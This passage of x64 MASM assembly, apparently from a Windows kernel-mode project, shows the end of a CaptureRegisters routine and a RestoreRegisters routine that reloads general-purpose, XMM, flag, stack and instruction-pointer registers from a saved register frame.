movdqa RfXmm13 [rcx], xmm13
movdqa RfXmm14 [rcx], xmm14
movdqa RfXmm15 [rcx], xmm15
stmxcsr RfMxCsr [rcx]
ret
LEAF_END CaptureRegisters, _TEXT$00
; VOID
; NTAPI
; RestoreRegisters(
; __in PREGISTERS_FRAME Registers
; );
LEAF_ENTRY RestoreRegisters, _TEXT$00
mov rax, RfRax [rcx]
mov rdx, RfRdx [rcx]
mov r8, RfR8 [rcx]
mov r9, RfR9 [rcx]
mov r10, RfR10 [rcx]
mov r11, RfR11 [rcx]
movdqa xmm0, RfXmm0 [rcx]
movdqa xmm1, RfXmm1 [rcx]
movdqa xmm2, RfXmm2 [rcx]
movdqa xmm3, RfXmm3 [rcx]
movdqa xmm4, RfXmm4 [rcx]
movdqa xmm5, RfXmm5 [rcx]
cli
mov rbx, RfRbx [rcx]
mov rbp, RfRbp [rcx]
mov rsi, RfRsi [rcx]
mov rdi, RfRdi [rcx]
mov r12, RfR12 [rcx]
mov r13, RfR13 [rcx]
mov r14, RfR14 [rcx]
mov r15, RfR15 [rcx]
movdqa xmm6, RfXmm6 [rcx]
movdqa xmm7, RfXmm7 [rcx]
movdqa xmm8, RfXmm8 [rcx]
movdqa xmm9, RfXmm9 [rcx]
movdqa xmm10, RfXmm10 [rcx]
movdqa xmm11, RfXmm11 [rcx]
movdqa xmm12, RfXmm12 [rcx]
movdqa xmm13, RfXmm13 [rcx]
movdqa xmm14, RfXmm14 [rcx]
movdqa xmm15, RfXmm15 [rcx]
push RfEFlags [rcx]
popfq
ldmxcsr RfMxCsr [rcx]
mov rsp, RfRsp [rcx]
push RfRip [rcx]
mov rcx, RfRcx [rcx]
ret
LEAF_END RestoreRegisters, _TEXT$00
end
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.